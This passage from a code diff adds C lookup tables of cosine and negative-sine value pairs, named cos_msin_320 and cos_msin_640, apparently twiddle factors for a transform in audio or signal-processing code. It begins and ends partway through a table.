+    {7.588096915597616e-01f, -6.513124073706714e-01f},
+    {7.556034400835709e-01f, -6.550293438723744e-01f},
+    {7.523789818396478e-01f, -6.587304970061237e-01f},
+    {7.491363945234594e-01f, -6.624157775901718e-01f},
+    {7.458757562673048e-01f, -6.660850968252301e-01f},
+    {7.425971456384329e-01f, -6.697383662966099e-01f},
+    {7.393006416371488e-01f, -6.733754979763520e-01f},
+    {7.359863236949099e-01f, -6.769964042253483e-01f},
+    {7.326542716724128e-01f, -6.806009977954530e-01f},
+    {7.293045658576685e-01f, -6.841891918315852e-01f},
+    {7.259372869640676e-01f, -6.877608998738217e-01f},
+    {7.225525161284360e-01f, -6.913160358594803e-01f},
+    {7.191503349090794e-01f, -6.948545141251936e-01f},
+    {7.157308252838186e-01f, -6.983762494089729e-01f},
+    {7.122940696480137e-01f, -7.018811568522627e-01f},
+    {7.088401508125785e-01f, -7.053691520019861e-01f}
+};
+
+static const cos_msin_t cos_msin_320[320] =
+{
+    {9.999992470090361e-01f, -1.227184322288852e-03f},
+    {9.999932230881285e-01f, -3.681545574399692e-03f},
+    {9.999811752826011e-01f, -6.135884649154475e-03f},
+    {9.999631036650289e-01f, -8.590186761797602e-03f},
+    {9.999390083442741e-01f, -1.104443712779613e-02f},
+    {9.999088894654848e-01f, -1.349862096292883e-02f},
+    {9.998727472100952e-01f, -1.595272348337527e-02f},
+    {9.998305817958234e-01f, -1.840672990580482e-02f},
+    {9.997823934766707e-01f, -2.086062544746576e-02f},
+    {9.997281825429201e-01f, -2.331439532627430e-02f},
+    {9.996679493211340e-01f, -2.576802476090363e-02f},
+    {9.996016941741530e-01f, -2.822149897087298e-02f},
+    {9.995294175010931e-01f, -3.067480317663663e-02f},
+    {9.994511197373437e-01f, -3.312792259967294e-02f},
+    {9.993668013545645e-01f, -3.558084246257342e-02f},
+    {9.992764628606833e-01f, -3.803354798913168e-02f},
+    {9.991801047998923e-01f, -4.048602440443251e-02f},
+    {9.990777277526454e-01f, -4.293825693494082e-02f},
+    {9.989693323356542e-01f, -4.539023080859068e-02f},
+    {9.988549192018848e-01f, -4.784193125487429e-02f},
+    {9.987344890405533e-01f, -5.029334350493095e-02f},
+    {9.986080425771219e-01f, -5.274445279163603e-02f},
+    {9.984755805732948e-01f, -5.519524434968993e-02f},
+    {9.983371038270131e-01f, -5.764570341570704e-02f},
+    {9.981926131724506e-01f, -6.009581522830464e-02f},
+    {9.980421094800079e-01f, -6.254556502819182e-02f},
+    {9.978855936563085e-01f, -6.499493805825848e-02f},
+    {9.977230666441916e-01f, -6.744391956366405e-02f},
+    {9.975545294227081e-01f, -6.989249479192657e-02f},
+    {9.973799830071135e-01f, -7.234064899301137e-02f},
+    {9.971994284488623e-01f, -7.478836741942015e-02f},
+    {9.970128668356021e-01f, -7.723563532627951e-02f},
+    {9.968202992911657e-01f, -7.968243797143013e-02f},
+    {9.966217269755658e-01f, -8.212876061551522e-02f},
+    {9.964171510849874e-01f, -8.457458852206962e-02f},
+    {9.962065728517802e-01f, -8.701990695760831e-02f},
+    {9.959899935444517e-01f, -8.946470119171543e-02f},
+    {9.957674144676598e-01f, -9.190895649713272e-02f},
+    {9.955388369622040e-01f, -9.435265814984850e-02f},
+    {9.953042624050182e-01f, -9.679579142918618e-02f},
+    {9.950636922091622e-01f, -9.923834161789306e-02f},
+    {9.948171278238128e-01f, -1.016802940022289e-01f},
+    {9.945645707342554e-01f, -1.041216338720546e-01f},
+    {9.943060224618753e-01f, -1.065623465209208e-01f},
+    {9.940414845641478e-01f, -1.090024172461564e-01f},
+    {9.937709586346295e-01f, -1.114418313489574e-01f},
+    {9.934944463029486e-01f, -1.138805741344751e-01f},
+    {9.932119492347945e-01f, -1.163186309119048e-01f},
+    {9.929234691319088e-01f, -1.187559869945741e-01f},
+    {9.926290077320739e-01f, -1.211926277000318e-01f},
+    {9.923285668091033e-01f, -1.236285383501360e-01f},
+    {9.920221481728309e-01f, -1.260637042711424e-01f},
+    {9.917097536690995e-01f, -1.284981107937932e-01f},
+    {9.913913851797506e-01f, -1.309317432534049e-01f},
+    {9.910670446226119e-01f, -1.333645869899571e-01f},
+    {9.907367339514870e-01f, -1.357966273481804e-01f},
+    {9.904004551561425e-01f, -1.382278496776452e-01f},
+    {9.900582102622971e-01f, -1.406582393328492e-01f},
+    {9.897100013316084e-01f, -1.430877816733065e-01f},
+    {9.893558304616609e-01f, -1.455164620636352e-01f},
+    {9.889956997859536e-01f, -1.479442658736455e-01f},
+    {9.886296114738869e-01f, -1.503711784784285e-01f},
+    {9.882575677307495e-01f, -1.527971852584434e-01f},
+    {9.878795707977051e-01f, -1.552222715996064e-01f},
+    {9.874956229517791e-01f, -1.576464228933781e-01f},
+    {9.871057265058446e-01f, -1.600696245368518e-01f},
+    {9.867098838086088e-01f, -1.624918619328416e-01f},
+    {9.863080972445987e-01f, -1.649131204899699e-01f},
+    {9.859003692341464e-01f, -1.673333856227558e-01f},
+    {9.854867022333751e-01f, -1.697526427517024e-01f},
+    {9.850670987341841e-01f, -1.721708773033852e-01f},
+    {9.846415612642334e-01f, -1.745880747105397e-01f},
+    {9.842100923869290e-01f, -1.770042204121487e-01f},
+    {9.837726947014075e-01f, -1.794192998535309e-01f},
+    {9.833293708425197e-01f, -1.818332984864276e-01f},
+    {9.828801234808157e-01f, -1.842462017690910e-01f},
+    {9.824249553225278e-01f, -1.866579951663718e-01f},
+    {9.819638691095552e-01f, -1.890686641498062e-01f},
+    {9.814968676194470e-01f, -1.914781941977041e-01f},
+    {9.810239536653852e-01f, -1.938865707952361e-01f},
+    {9.805451300961683e-01f, -1.962937794345212e-01f},
+    {9.800603997961936e-01f, -1.986998056147138e-01f},
+    {9.795697656854405e-01f, -2.011046348420919e-01f},
+    {9.790732307194523e-01f, -2.035082526301433e-01f},
+    {9.785707978893183e-01f, -2.059106444996538e-01f},
+    {9.780624702216568e-01f, -2.083117959787937e-01f},
+    {9.775482507785956e-01f, -2.107116926032057e-01f},
+    {9.770281426577544e-01f, -2.131103199160914e-01f},
+    {9.765021489922255e-01f, -2.155076634682986e-01f},
+    {9.759702729505557e-01f, -2.179037088184086e-01f},
+    {9.754325177367266e-01f, -2.202984415328229e-01f},
+    {9.748888865901355e-01f, -2.226918471858500e-01f},
+    {9.743393827855759e-01f, -2.250839113597928e-01f},
+    {9.737840096332177e-01f, -2.274746196450351e-01f},
+    {9.732227704785874e-01f, -2.298639576401283e-01f},
+    {9.726556687025479e-01f, -2.322519109518786e-01f},
+    {9.720827077212779e-01f, -2.346384651954331e-01f},
+    {9.715038909862518e-01f, -2.370236059943672e-01f},
+    {9.709192219842182e-01f, -2.394073189807704e-01f},
+    {9.703287042371799e-01f, -2.417895897953334e-01f},
+    {9.697323413023714e-01f, -2.441704040874346e-01f},
+    {9.691301367722388e-01f, -2.465497475152259e-01f},
+    {9.685220942744174e-01f, -2.489276057457201e-01f},
+    {9.679082174717095e-01f, -2.513039644548766e-01f},
+    {9.672885100620635e-01f, -2.536788093276874e-01f},
+    {9.666629757785506e-01f, -2.560521260582643e-01f},
+    {9.660316183893426e-01f, -2.584239003499241e-01f},
+    {9.653944416976894e-01f, -2.607941179152755e-01f},
+    {9.647514495418958e-01f, -2.631627644763044e-01f},
+    {9.641026457952987e-01f, -2.655298257644607e-01f},
+    {9.634480343662435e-01f, -2.678952875207434e-01f},
+    {9.627876191980606e-01f, -2.702591354957875e-01f},
+    {9.621214042690416e-01f, -2.726213554499490e-01f},
+    {9.614493935924158e-01f, -2.749819331533909e-01f},
+    {9.607715912163253e-01f, -2.773408543861692e-01f},
+    {9.600880012238011e-01f, -2.796981049383182e-01f},
+    {9.593986277327383e-01f, -2.820536706099365e-01f},
+    {9.587034748958716e-01f, -2.844075372112719e-01f},
+    {9.580025469007496e-01f, -2.867596905628075e-01f},
+    {9.572958479697103e-01f, -2.891101164953470e-01f},
+    {9.565833823598556e-01f, -2.914588008500998e-01f},
+    {9.558651543630251e-01f, -2.938057294787664e-01f},
+    {9.551411683057708e-01f, -2.961508882436238e-01f},
+    {9.544114285493304e-01f, -2.984942630176104e-01f},
+    {9.536759394896021e-01f, -3.008358396844112e-01f},
+    {9.529347055571170e-01f, -3.031756041385431e-01f},
+    {9.521877312170133e-01f, -3.055135422854393e-01f},
+    {9.514350209690083e-01f, -3.078496400415349e-01f},
+    {9.506765793473728e-01f, -3.101838833343510e-01f},
+    {9.499124109209025e-01f, -3.125162581025802e-01f},
+    {9.491425202928909e-01f, -3.148467502961706e-01f},
+    {9.483669121011018e-01f, -3.171753458764112e-01f},
+    {9.475855910177411e-01f, -3.195020308160157e-01f},
+    {9.467985617494289e-01f, -3.218267910992075e-01f},
+    {9.460058290371707e-01f, -3.241496127218040e-01f},
+    {9.452073976563291e-01f, -3.264704816913009e-01f},
+    {9.444032724165956e-01f, -3.287893840269567e-01f},
+    {9.435934581619604e-01f, -3.311063057598764e-01f},
+    {9.427779597706842e-01f, -3.334212329330963e-01f},
+    {9.419567821552687e-01f, -3.357341516016679e-01f},
+    {9.411299302624264e-01f, -3.380450478327413e-01f},
+    {9.402974090730516e-01f, -3.403539077056500e-01f},
+    {9.394592236021899e-01f, -3.426607173119944e-01f},
+    {9.386153788990080e-01f, -3.449654627557252e-01f},
+    {9.377658800467635e-01f, -3.472681301532278e-01f},
+    {9.369107321627741e-01f, -3.495687056334055e-01f},
+    {9.360499403983871e-01f, -3.518671753377630e-01f},
+    {9.351835099389476e-01f, -3.541635254204903e-01f},
+    {9.343114460037683e-01f, -3.564577420485457e-01f},
+    {9.334337538460973e-01f, -3.587498114017393e-01f},
+    {9.325504387530866e-01f, -3.610397196728160e-01f},
+    {9.316615060457607e-01f, -3.633274530675394e-01f},
+    {9.307669610789837e-01f, -3.656129978047739e-01f},
+    {9.298668092414279e-01f, -3.678963401165684e-01f},
+    {9.289610559555410e-01f, -3.701774662482391e-01f},
+    {9.280497066775131e-01f, -3.724563624584523e-01f},
+    {9.271327668972442e-01f, -3.747330150193071e-01f},
+    {9.262102421383114e-01f, -3.770074102164183e-01f},
+    {9.252821379579349e-01f, -3.792795343489985e-01f},
+    {9.243484599469451e-01f, -3.815493737299417e-01f},
+    {9.234092137297489e-01f, -3.838169146859046e-01f},
+    {9.224644049642953e-01f, -3.860821435573893e-01f},
+    {9.215140393420420e-01f, -3.883450466988262e-01f},
+    {9.205581225879205e-01f, -3.906056104786556e-01f},
+    {9.195966604603021e-01f, -3.928638212794095e-01f},
+    {9.186296587509630e-01f, -3.951196654977946e-01f},
+    {9.176571232850496e-01f, -3.973731295447735e-01f},
+    {9.166790599210427e-01f, -3.996241998456468e-01f},
+    {9.156954745507232e-01f, -4.018728628401348e-01f},
+    {9.147063730991362e-01f, -4.041191049824593e-01f},
+    {9.137117615245548e-01f, -4.063629127414251e-01f},
+    {9.127116458184452e-01f, -4.086042726005015e-01f},
+    {9.117060320054299e-01f, -4.108431710579039e-01f},
+    {9.106949261432513e-01f, -4.130795946266749e-01f},
+    {9.096783343227359e-01f, -4.153135298347656e-01f},
+    {9.086562626677570e-01f, -4.175449632251170e-01f},
+    {9.076287173351980e-01f, -4.197738813557405e-01f},
+    {9.065957045149153e-01f, -4.220002707997997e-01f},
+    {9.055572304297014e-01f, -4.242241181456904e-01f},
+    {9.045133013352465e-01f, -4.264454099971220e-01f},
+    {9.034639235201017e-01f, -4.286641329731982e-01f},
+    {9.024091033056408e-01f, -4.308802737084970e-01f},
+    {9.013488470460220e-01f, -4.330938188531520e-01f},
+    {9.002831611281501e-01f, -4.353047550729321e-01f},
+    {8.992120519716374e-01f, -4.375130690493225e-01f},
+    {8.981355260287659e-01f, -4.397187474796043e-01f},
+    {8.970535897844474e-01f, -4.419217770769352e-01f},
+    {8.959662497561852e-01f, -4.441221445704292e-01f},
+    {8.948735124940346e-01f, -4.463198367052365e-01f},
+    {8.937753845805634e-01f, -4.485148402426236e-01f},
+    {8.926718726308122e-01f, -4.507071419600526e-01f},
+    {8.915629832922548e-01f, -4.528967286512617e-01f},
+    {8.904487232447579e-01f, -4.550835871263438e-01f},
+    {8.893290992005409e-01f, -4.572677042118265e-01f},
+    {8.882041179041357e-01f, -4.594490667507513e-01f},
+    {8.870737861323454e-01f, -4.616276616027529e-01f},
+    {8.859381106942048e-01f, -4.638034756441384e-01f},
+    {8.847970984309378e-01f, -4.659764957679662e-01f},
+    {8.836507562159172e-01f, -4.681467088841250e-01f},
+    {8.824990909546231e-01f, -4.703141019194129e-01f},
+    {8.813421095846011e-01f, -4.724786618176158e-01f},
+    {8.801798190754208e-01f, -4.746403755395864e-01f},
+    {8.790122264286335e-01f, -4.767992300633221e-01f},
+    {8.778393386777302e-01f, -4.789552123840445e-01f},
+    {8.766611628880995e-01f, -4.811083095142767e-01f},
+    {8.754777061569843e-01f, -4.832585084839222e-01f},
+    {8.742889756134398e-01f, -4.854057963403425e-01f},
+    {8.730949784182901e-01f, -4.875501601484360e-01f},
+    {8.718957217640854e-01f, -4.896915869907146e-01f},
+    {8.706912128750582e-01f, -4.918300639673830e-01f},
+    {8.694814590070804e-01f, -4.939655781964152e-01f},
+    {8.682664674476190e-01f, -4.960981168136327e-01f},
+    {8.670462455156926e-01f, -4.982276669727819e-01f},
+    {8.658208005618273e-01f, -5.003542158456112e-01f},
+    {8.645901399680118e-01f, -5.024777506219491e-01f},
+    {8.633542711476541e-01f, -5.045982585097801e-01f},
+    {8.621132015455357e-01f, -5.067157267353229e-01f},
+    {8.608669386377673e-01f, -5.088301425431070e-01f},
+    {8.596154899317437e-01f, -5.109414931960489e-01f},
+    {8.583588629660989e-01f, -5.130497659755299e-01f},
+    {8.570970653106597e-01f, -5.151549481814718e-01f},
+    {8.558301045664012e-01f, -5.172570271324139e-01f},
+    {8.545579883654005e-01f, -5.193559901655896e-01f},
+    {8.532807243707908e-01f, -5.214518246370019e-01f},
+    {8.519983202767152e-01f, -5.235445179215000e-01f},
+    {8.507107838082801e-01f, -5.256340574128560e-01f},
+    {8.494181227215095e-01f, -5.277204305238395e-01f},
+    {8.481203448032972e-01f, -5.298036246862946e-01f},
+    {8.468174578713608e-01f, -5.318836273512150e-01f},
+    {8.455094697741939e-01f, -5.339604259888194e-01f},
+    {8.441963883910193e-01f, -5.360340080886280e-01f},
+    {8.428782216317413e-01f, -5.381043611595366e-01f},
+    {8.415549774368984e-01f, -5.401714727298929e-01f},
+    {8.402266637776148e-01f, -5.422353303475707e-01f},
+    {8.388932886555529e-01f, -5.442959215800456e-01f},
+    {8.375548601028652e-01f, -5.463532340144698e-01f},
+    {8.362113861821453e-01f, -5.484072552577465e-01f},
+    {8.348628749863800e-01f, -5.504579729366048e-01f},
+    {8.335093346389004e-01f, -5.525053746976744e-01f},
+    {8.321507732933324e-01f, -5.545494482075597e-01f},
+    {8.307871991335484e-01f, -5.565901811529141e-01f},
+    {8.294186203736174e-01f, -5.586275612405148e-01f},
+    {8.280450452577558e-01f, -5.606615761973360e-01f},
+    {8.266664820602777e-01f, -5.626922137706231e-01f},
+    {8.252829390855451e-01f, -5.647194617279668e-01f},
+    {8.238944246679176e-01f, -5.667433078573766e-01f},
+    {8.225009471717026e-01f, -5.687637399673542e-01f},
+    {8.211025149911046e-01f, -5.707807458869673e-01f},
+    {8.196991365501750e-01f, -5.727943134659226e-01f},
+    {8.182908203027607e-01f, -5.748044305746390e-01f},
+    {8.168775747324537e-01f, -5.768110851043212e-01f},
+    {8.154594083525400e-01f, -5.788142649670318e-01f},
+    {8.140363297059484e-01f, -5.808139580957645e-01f},
+    {8.126083473651983e-01f, -5.828101524445172e-01f},
+    {8.111754699323488e-01f, -5.848028359883638e-01f},
+    {8.097377060389469e-01f, -5.867919967235272e-01f},
+    {8.082950643459751e-01f, -5.887776226674516e-01f},
+    {8.068475535437993e-01f, -5.907597018588742e-01f},
+    {8.053951823521167e-01f, -5.927382223578977e-01f},
+    {8.039379595199031e-01f, -5.947131722460625e-01f},
+    {8.024758938253601e-01f, -5.966845396264172e-01f},
+    {8.010089940758625e-01f, -5.986523126235920e-01f},
+    {7.995372691079050e-01f, -6.006164793838690e-01f},
+    {7.980607277870492e-01f, -6.025770280752539e-01f},
+    {7.965793790078698e-01f, -6.045339468875478e-01f},
+    {7.950932316939014e-01f, -6.064872240324176e-01f},
+    {7.936022947975847e-01f, -6.084368477434675e-01f},
+    {7.921065773002124e-01f, -6.103828062763095e-01f},
+    {7.906060882118751e-01f, -6.123250879086344e-01f},
+    {7.891008365714072e-01f, -6.142636809402826e-01f},
+    {7.875908314463325e-01f, -6.161985736933142e-01f},
+    {7.860760819328091e-01f, -6.181297545120795e-01f},
+    {7.845565971555752e-01f, -6.200572117632891e-01f},
+    {7.830323862678940e-01f, -6.219809338360844e-01f},
+    {7.815034584514979e-01f, -6.239009091421072e-01f},
+    {7.799698229165344e-01f, -6.258171261155689e-01f},
+    {7.784314889015095e-01f, -6.277295732133219e-01f},
+    {7.768884656732324e-01f, -6.296382389149270e-01f},
+    {7.753407625267603e-01f, -6.315431117227246e-01f},
+    {7.737883887853415e-01f, -6.334441801619028e-01f},
+    {7.722313538003597e-01f, -6.353414327805670e-01f},
+    {7.706696669512773e-01f, -6.372348581498091e-01f},
+    {7.691033376455797e-01f, -6.391244448637757e-01f},
+    {7.675323753187178e-01f, -6.410101815397373e-01f},
+    {7.659567894340514e-01f, -6.428920568181569e-01f},
+    {7.643765894827926e-01f, -6.447700593627579e-01f},
+    {7.627917849839481e-01f, -6.466441778605931e-01f},
+    {7.612023854842618e-01f, -6.485144010221124e-01f},
+    {7.596084005581580e-01f, -6.503807175812309e-01f},
+    {7.580098398076831e-01f, -6.522431162953969e-01f},
+    {7.564067128624476e-01f, -6.541015859456593e-01f},
+    {7.547990293795690e-01f, -6.559561153367355e-01f},
+    {7.531867990436125e-01f, -6.578066932970786e-01f},
+    {7.515700315665336e-01f, -6.596533086789452e-01f},
+    {7.499487366876190e-01f, -6.614959503584616e-01f},
+    {7.483229241734281e-01f, -6.633346072356920e-01f},
+    {7.466926038177344e-01f, -6.651692682347043e-01f},
+    {7.450577854414661e-01f, -6.669999223036375e-01f},
+    {7.434184788926470e-01f, -6.688265584147679e-01f},
+    {7.417746940463380e-01f, -6.706491655645758e-01f},
+    {7.401264408045760e-01f, -6.724677327738116e-01f},
+    {7.384737290963160e-01f, -6.742822490875620e-01f},
+    {7.368165688773699e-01f, -6.760927035753159e-01f},
+    {7.351549701303474e-01f, -6.778990853310308e-01f},
+    {7.334889428645953e-01f, -6.797013834731973e-01f},
+    {7.318184971161379e-01f, -6.814995871449060e-01f},
+    {7.301436429476156e-01f, -6.832936855139119e-01f},
+    {7.284643904482252e-01f, -6.850836677727004e-01f},
+    {7.267807497336585e-01f, -6.868695231385515e-01f},
+    {7.250927309460417e-01f, -6.886512408536060e-01f},
+    {7.234003442538740e-01f, -6.904288101849290e-01f},
+    {7.217035998519666e-01f, -6.922022204245754e-01f},
+    {7.200025079613817e-01f, -6.939714608896540e-01f},
+    {7.182970788293696e-01f, -6.957365209223924e-01f},
+    {7.165873227293083e-01f, -6.974973898902004e-01f},
+    {7.148732499606411e-01f, -6.992540571857347e-01f},
+    {7.131548708488146e-01f, -7.010065122269625e-01f},
+    {7.114321957452164e-01f, -7.027547444572253e-01f},
+    {7.097052350271130e-01f, -7.044987433453024e-01f},
+    {7.079739990975870e-01f, -7.062384983854745e-01f}
+};
+
+static const cos_msin_t cos_msin_640[640] =
+{
+    {9.999998117522413e-01f, -6.135922766517967e-04f},
+    {9.999983057705969e-01f, -1.840775905896510e-03f},
+    {9.999952938095762e-01f, -3.067956762965976e-03f},
+    {9.999907758737150e-01f, -4.295132999748002e-03f},
+    {9.999847519698173e-01f, -5.522302768137352e-03f},
+    {9.999772221069551e-01f, -6.749464220038533e-03f},
+    {9.999681862964679e-01f, -7.976615507368575e-03f},
+    {9.999576445519639e-01f, -9.203754782059819e-03f},
+    {9.999455968893185e-01f, -1.043088019606269e-02f},
+    {9.999320433266753e-01f, -1.165798990134850e-02f},
+    {9.999169838844458e-01f, -1.288508204991220e-02f},
+    {9.999004185853092e-01f, -1.411215479377519e-02f},
+    {9.998823474542126e-01f, -1.533920628498810e-02f},
+    {9.998627705183706e-01f, -1.656623467563356e-02f},
+    {9.998416878072659e-01f, -1.779323811782898e-02f},
+    {9.998190993526487e-01f, -1.902021476372936e-02f},
+    {9.997950051885367e-01f, -2.024716276553004e-02f},
+    {9.997694053512153e-01f, -2.147408027546951e-02f},
+    {9.997422998792375e-01f, -2.270096544583216e-02f},
+    {9.997136888134235e-01f, -2.392781642895110e-02f},
+    {9.996835721968610e-01f, -2.515463137721094e-02f},
+    {9.996519500749053e-01f, -2.638140844305051e-02f},
+    {9.996188224951786e-01f, -2.760814577896574e-02f},
+    {9.995841895075704e-01f, -2.883484153751236e-02f},
+    {9.995480511642375e-01f, -3.006149387130874e-02f},
+    {9.995104075196035e-01f, -3.128810093303862e-02f},
+    {9.994712586303591e-01f, -3.251466087545394e-02f},
+    {9.994306045554617e-01f, -3.374117185137758e-02f},
+    {9.993884453561358e-01f, -3.496763201370620e-02f},
+    {9.993447810958722e-01f, -3.619403951541294e-02f},
+    {9.992996118404286e-01f, -3.742039250955028e-02f},
+    {9.992529376578290e-01f, -3.864668914925275e-02f},
+    {9.992047586183639e-01f, -3.987292758773981e-02f},
+    {9.991550747945901e-01f, -4.109910597831850e-02f},
+    {9.991038862613305e-01f, -4.232522247438635e-02f},
+    {9.990511930956741e-01f, -4.355127522943403e-02f},
+    {9.989969953769761e-01f, -4.477726239704831e-02f},
+    {9.989412931868569e-01f, -4.600318213091462e-02f},
+    {9.988840866092031e-01f, -4.722903258482004e-02f},
+    {9.988253757301669e-01f, -4.845481191265589e-02f},
+    {9.987651606381658e-01f, -4.968051826842070e-02f},
+    {9.987034414238826e-01f, -5.090614980622282e-02f},
+    {9.986402181802653e-01f, -5.213170468028332e-02f},
+    {9.985754910025268e-01f, -5.335718104493870e-02f},
+    {9.985092599881454e-01f, -5.458257705464371e-02f},
+    {9.984415252368637e-01f, -5.580789086397409e-02f},
+    {9.983722868506889e-01f, -5.703312062762941e-02f},
+    {9.983015449338929e-01f, -5.825826450043575e-02f},
+    {9.982292995930115e-01f, -5.948332063734863e-02f},
+    {9.981555509368452e-01f, -6.070828719345561e-02f},
+    {9.980802990764579e-01f, -6.193316232397920e-02f},
+    {9.980035441251777e-01f, -6.315794418427960e-02f},
+    {9.979252861985960e-01f, -6.438263092985747e-02f},
+    {9.978455254145679e-01f, -6.560722071635666e-02f},
+    {9.977642618932119e-01f, -6.683171169956714e-02f},
+    {9.976814957569091e-01f, -6.805610203542757e-02f},
+    {9.975972271303040e-01f, -6.928038988002828e-02f},
+    {9.975114561403035e-01f, -7.050457338961386e-02f},
+    {9.974241829160772e-01f, -7.172865072058610e-02f},
+    {9.973354075890570e-01f, -7.295262002950662e-02f},
+    {9.972451302929369e-01f, -7.417647947309980e-02f},
+    {9.971533511636731e-01f, -7.540022720825540e-02f},
+    {9.970600703394830e-01f, -7.662386139203149e-02f},
+    {9.969652879608459e-01f, -7.784738018165707e-02f},
+    {9.968690041705026e-01f, -7.907078173453497e-02f},
+    {9.967712191134545e-01f, -8.029406420824454e-02f},
+    {9.966719329369642e-01f, -8.151722576054453e-02f},
+    {9.965711457905548e-01f, -8.274026454937569e-02f},
+    {9.964688578260101e-01f, -8.396317873286374e-02f},
+    {9.963650691973739e-01f, -8.518596646932200e-02f},
+    {9.962597800609497e-01f, -8.640862591725426e-02f},
+    {9.961529905753015e-01f, -8.763115523535747e-02f},
+    {9.960447009012520e-01f, -8.885355258252460e-02f},
+    {9.959349112018836e-01f, -9.007581611784729e-02f},
+    {9.958236216425376e-01f, -9.129794400061877e-02f},
+    {9.957108323908140e-01f, -9.251993439033654e-02f},
+    {9.955965436165716e-01f, -9.374178544670515e-02f},
+    {9.954807554919269e-01f, -9.496349532963899e-02f},
+    {9.953634681912550e-01f, -9.618506219926506e-02f},
+    {9.952446818911883e-01f, -9.740648421592572e-02f},
+    {9.951243967706169e-01f, -9.862775954018151e-02f},
+    {9.950026130106879e-01f, -9.984888633281383e-02f},
+    {9.948793307948056e-01f, -1.010698627548278e-01f},
+    {9.947545503086307e-01f, -1.022906869674551e-01f},
+    {9.946282717400804e-01f, -1.035113571321563e-01f},
+    {9.945004952793278e-01f, -1.047318714106244e-01f},
+    {9.943712211188022e-01f, -1.059522279647869e-01f},
+    {9.942404494531879e-01f, -1.071724249568088e-01f},
+    {9.941081804794248e-01f, -1.083924605490956e-01f},
+    {9.939744143967076e-01f, -1.096123329042957e-01f},
+    {9.938391514064855e-01f, -1.108320401853034e-01f},
+    {9.937023917124622e-01f, -1.120515805552615e-01f},
+    {9.935641355205953e-01f, -1.132709521775643e-01f},
+    {9.934243830390962e-01f, -1.144901532158602e-01f},
+    {9.932831344784294e-01f, -1.157091818340545e-01f},
+    {9.931403900513129e-01f, -1.169280361963119e-01f},
+    {9.929961499727171e-01f, -1.181467144670601e-01f},
+    {9.928504144598651e-01f, -1.193652148109914e-01f},
+    {9.927031837322318e-01f, -1.205835353930663e-01f},
+    {9.925544580115441e-01f, -1.218016743785162e-01f},
+    {9.924042375217801e-01f, -1.230196299328457e-01f},
+    {9.922525224891693e-01f, -1.242374002218357e-01f},
+    {9.920993131421918e-01f, -1.254549834115462e-01f},
+    {9.919446097115779e-01f, -1.266723776683190e-01f},
+    {9.917884124303086e-01f, -1.278895811587802e-01f},
+    {9.916307215336136e-01f, -1.291065920498434e-01f},
+    {9.914715372589731e-01f, -1.303234085087122e-01f},
+    {9.913108598461154e-01f, -1.315400287028831e-01f},
+    {9.911486895370180e-01f, -1.327564508001479e-01f},
+    {9.909850265759061e-01f, -1.339726729685971e-01f},
+    {9.908198712092535e-01f, -1.351886933766218e-01f},
+    {9.906532236857811e-01f, -1.364045101929175e-01f},
+    {9.904850842564571e-01f, -1.376201215864860e-01f},
+    {9.903154531744962e-01f, -1.388355257266385e-01f},
+    {9.901443306953601e-01f, -1.400507207829983e-01f},
+    {9.899717170767560e-01f, -1.412657049255036e-01f},
+    {9.897976125786367e-01f, -1.424804763244102e-01f},
+    {9.896220174632009e-01f, -1.436950331502945e-01f},
+    {9.894449319948911e-01f, -1.449093735740556e-01f},
+    {9.892663564403953e-01f, -1.461234957669190e-01f},
+    {9.890862910686448e-01f, -1.473373979004386e-01f},
+    {9.889047361508148e-01f, -1.485510781464996e-01f},
+    {9.887216919603238e-01f, -1.497645346773215e-01f},
+    {9.885371587728330e-01f, -1.509777656654608e-01f},
+    {9.883511368662461e-01f, -1.521907692838135e-01f},
+    {9.881636265207087e-01f, -1.534035437056180e-01f},
+    {9.879746280186079e-01f, -1.546160871044581e-01f},
+    {9.877841416445722e-01f, -1.558283976542652e-01f},
+    {9.875921676854704e-01f, -1.570404735293217e-01f},
+    {9.873987064304122e-01f, -1.582523129042630e-01f},
+    {9.872037581707463e-01f, -1.594639139540810e-01f},
+    {9.870073232000616e-01f, -1.606752748541265e-01f},
+    {9.868094018141855e-01f, -1.618863937801118e-01f},
+    {9.866099943111839e-01f, -1.630972689081137e-01f},
+    {9.864091009913611e-01f, -1.643078984145762e-01f},
+    {9.862067221572588e-01f, -1.655182804763130e-01f},
+    {9.860028581136556e-01f, -1.667284132705107e-01f},
+    {9.857975091675675e-01f, -1.679382949747312e-01f},
+    {9.855906756282459e-01f, -1.691479237669144e-01f},
+    {9.853823578071785e-01f, -1.703572978253813e-01f},
+    {9.851725560180883e-01f, -1.715664153288364e-01f},
+    {9.849612705769328e-01f, -1.727752744563706e-01f},
+    {9.847485018019042e-01f, -1.739838733874638e-01f},
+    {9.845342500134284e-01f, -1.751922103019880e-01f},
+    {9.843185155341647e-01f, -1.764002833802096e-01f},
+    {9.841012986890054e-01f, -1.776080908027924e-01f},
+    {9.838825998050751e-01f, -1.788156307508001e-01f},
+    {9.836624192117303e-01f, -1.800229014056995e-01f},
+    {9.834407572405590e-01f, -1.812299009493628e-01f},
+    {9.832176142253802e-01f, -1.824366275640705e-01f},
+    {9.829929905022433e-01f, -1.836430794325141e-01f},
+    {9.827668864094273e-01f, -1.848492547377989e-01f},
+    {9.825393022874412e-01f, -1.860551516634466e-01f},
+    {9.823102384790224e-01f, -1.872607683933984e-01f},
+    {9.820796953291370e-01f, -1.884661031120172e-01f},
+    {9.818476731849786e-01f, -1.896711540040907e-01f},
+    {9.816141723959685e-01f, -1.908759192548340e-01f},
+    {9.813791933137546e-01f, -1.920803970498924e-01f},
+    {9.811427362922112e-01f, -1.932845855753442e-01f},
+    {9.809048016874382e-01f, -1.944884830177032e-01f},
+    {9.806653898577611e-01f, -1.956920875639216e-01f},
+    {9.804245011637294e-01f, -1.968953974013927e-01f},
+    {9.801821359681174e-01f, -1.980984107179536e-01f},
+    {9.799382946359226e-01f, -1.993011257018880e-01f},
+    {9.796929775343657e-01f, -2.005035405419289e-01f},
+    {9.794461850328897e-01f, -2.017056534272613e-01f},
+    {9.791979175031598e-01f, -2.029074625475249e-01f},
+    {9.789481753190622e-01f, -2.041089660928169e-01f},
+    {9.786969588567044e-01f, -2.053101622536946e-01f},
+    {9.784442684944136e-01f, -2.065110492211783e-01f},
+    {9.781901046127370e-01f, -2.077116251867540e-01f},
+    {9.779344675944409e-01f, -2.089118883423760e-01f},
+    {9.776773578245099e-01f, -2.101118368804696e-01f},
+    {9.774187756901469e-01f, -2.113114689939341e-01f},
+    {9.771587215807717e-01f, -2.125107828761450e-01f},
+    {9.768971958880210e-01f, -2.137097767209575e-01f},
+    {9.766341990057480e-01f, -2.149084487227085e-01f},
+    {9.763697313300211e-01f, -2.161067970762195e-01f},
+    {9.761037932591240e-01f, -2.173048199767996e-01f},
